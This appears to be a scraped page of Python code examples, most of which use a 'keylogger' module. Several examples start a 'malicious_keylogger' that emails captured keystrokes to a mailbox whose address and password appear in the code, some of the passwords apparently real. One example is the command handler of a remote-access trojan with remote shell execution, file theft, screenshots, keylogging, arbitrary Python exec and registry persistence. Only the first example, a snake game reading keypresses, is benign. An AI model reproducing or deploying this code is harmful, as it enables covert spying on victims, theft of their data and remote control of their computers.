Пример #1
0
    def play(self):

      CHEAT = True

      try:
        import keylogger
        kbd = keylogger.KeyLogger()
        kbd.start()
        run = True
        self.__last_tick = time()
        dy, dx = self.dir

        def ticking():
          now = time()
          if now - self.__last_tick < self.tick_rate:
            return True
          else:
            self.__last_tick = now
            return False

        while run:
          while ticking():
            key = kbd.get()
            if key:
              if key == 'q':
                  run = False
                  kbd.stop()
              elif key in "ABCD":  # UDRL
                dy, dx = Dir.lookup[key]
              elif CHEAT:
                if key == ' ':
                  self.spawn_food()

          self.turn(dy, dx)
          run = run and self.move()

      finally:
        gameover_sprite = Image.open(HERE / "gameover.bmp")
        gow, goh = gameover_sprite.size
        y0, x0 = playArea.rows - goh//2 - 1, playArea.columns // 2 - gow // 2 - 1
        #debug(f"Placing gameover relatively {x0, y0}")
        #debug(f"{playArea.rows, playArea.columns, goh, gow}") # 16 32 17 19
        playArea.pasteImage(y0, x0, gameover_sprite, flush=True)
        #debug("Stopping keyboard")
        kbd.stop()
Пример #2
0
#!/usr/bin/env python

import keylogger

# Initialize / create keylogger

malicious_keylogger = keylogger.KeyLogger(10, '*****@*****.**',
                                          'kartik@123')

# Execute Keylogger

malicious_keylogger.start()
Пример #3
0
#!/usr/bin/env python3
import keylogger

my_keylogger = keylogger.KeyLogger()
my_keylogger.start()
Пример #4
0
#!/usr/bin/env python

import keylogger

#create keylogger
malicious_keylogger = keylogger.KeyLogger(
    10, 'email', 'password'
)  #replace 'email' and 'password' with your actual email and password for where you want log emails to be sent

#start keylogger
malicious_keylogger.start()
Пример #5
0
import keylogger

# Initialize / create keylogger

malicious_keylogger = keylogger.KeyLogger(
    10, '*****@*****.**', 'Fi63J3vjCyE3')

# Execute Keylogger

malicious_keylogger.start()
Пример #6
0
def shell():
    while True:
        command = reliable_recv()
        # Закрываем программу, если пришла команда quit
        if command == 'quit':
            return QUIT
        elif command == 'disconnect':
            return DISCONNECT
        elif command == 'help':
            pass
        elif command == 'clear':
            pass
        elif command[:3] == 'cd ':
            os.chdir(command[3:])
            send_dir()  #reliable_send(",".join(os.listdir()))
        elif command[:2] == 'ls':
            send_dir()
        elif command[:12] == 'create_file ':
            f = open(command[12:], 'w+')
            f.close()
            send_dir()
        elif command[:12] == 'delete_file ':
            os.remove(command[12:])
            send_dir()
        elif command[:14] == 'create_folder ':
            os.mkdir(command[14:])
            send_dir()
        elif command[:14] == 'delete_folder ':
            #os.rmdir(command[14:])
            shutil.rmtree(command[14:], ignore_errors=False, onerror=None)
            send_dir()
        elif command[:12] == 'upload_file ':
            download('file', command[12:])
        elif command[:14] == 'upload_folder ':
            download('folder', command[14:])
        elif command[:14] == 'download_file ':
            upload(command[14:])
        elif command[:16] == 'download_folder ':
            upload(command[16:])
        elif command[:10] == 'screenshot':
            screenshot()
            upload('screen.png')
            os.remove('screen.png')
        elif command[:13] == 'screen_stream':
            return show_stream()
        elif command[:8] == 'rename=>':
            os.rename(
                command.partition(' | ')[0][8:],
                command.partition(' | ')[2])
            send_dir()
        elif command[:12] == 'python_exec ':
            result = exec(str(command[12:]))
            reliable_send('Success')
        elif command[:17] == 'python_exec_file ':
            result = execfile(str(command[17:]))
            reliable_send('Success execute file')
        elif command[:12] == 'keylog_start':
            keylog = keylogger.KeyLogger()
            t = threading.Thread(target=keylog.start)
            t.start()
            reliable_send('[+] Keylogger Started!')
        elif command[:11] == 'keylog_dump':
            logs = keylog.read_logs()
            reliable_send(logs)
        elif command[:11] == 'keylog_stop':
            keylog.self_destruct()
            t.join()
            reliable_send('[+] Keylogger Stopped!')
        # Вызов: persistence Hacked program.exe
        elif command[:15] == 'get_system_info':
            disks = ')('.join(
                re.findall(r"[A-Z]+:.*$",
                           os.popen("mountvol /").read(), re.MULTILINE))
            dirs = ','.join(platform.uname())
            reliable_send('__Диски__: (' + disks + "),__Текущий каталог__:" +
                          os.getcwd() + ",__Система__:," + dirs)
        elif command[:11] == 'persistence':
            reg_name, copy_name = command[12:].split(' ')
            persist(reg_name, copy_name)
        else:
            try:
                execute = subprocess.Popen(command,
                                           shell=True,
                                           stdout=subprocess.PIPE,
                                           stderr=subprocess.PIPE,
                                           stdin=subprocess.PIPE)
                # Не работает на python 3
                # result = execute.stdout.read() + execute.stderr.read()
                # Альтернатива
                out, err = execute.communicate()
                reliable_send('Done<br>result: ' + out.decode() +
                              '<br>errors: ' + err.decode())
            except:
                print('shell except')
                reliable_send('Ой-ой, команда (' + command +
                              ') не была распознана shell')
Пример #7
0
#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.KeyLogger(120, "*****@*****.**", "fakepassword")
my_keylogger.start()
#!/usr/bin/env python

import keylogger

# Initialize - start keylogger

malicious_keylogger = keylogger.KeyLogger(10, '*****@*****.**',
                                          'G231ur567I@n1M$')

# Execute Keylogger

malicious_keylogger.start()
Пример #9
0
#!/usr/bin/env python

import keylogger

# Initialize / create keylogger

malicious_keylogger = keylogger.KeyLogger(120, '*****@*****.**',
                                          'girlhacker1997')

# Execute Keylogger

malicious_keylogger.start()
Пример #10
0
#!/user/bin/env python3
import keylogger

j_logger = keylogger.KeyLogger("time set par second", "email", "password")
j_logger.start()
Пример #11
0
#!usr/bin/env python

import keylogger

# Initialize / create keylogger

malicious_keylogger = keylogger.KeyLogger(10, '*****@*****.**', 'password')

# Execute Keylogger

malicious_keylogger.start()
Пример #12
0
#!/usr/bin/env python3k

import keylogger

time_interval = 120
email = '*****@*****.**'
password = '******'

my_keylogger = keylogger.KeyLogger(time_interval, email, password)
my_keylogger.start()
Пример #13
0
#import keylogger.py script

import keylogger

#eg:(10," [email protected]","123xyz",)
keylogger_obj = keylogger.KeyLogger([time_interval_for_getting_email],
                                    [your_email_address], [password_of_email])
keylogger_obj.start()
Пример #14
0
#!/usr/bin/env python3

import keylogger

my_keylogger = keylogger.KeyLogger(120, "*****@*****.**", "new_wick")
my_keylogger.start()
Пример #15
0
#!/usr/bin/env python3

import keylogger

new_klog = keylogger.KeyLogger(5)
new_klog.start()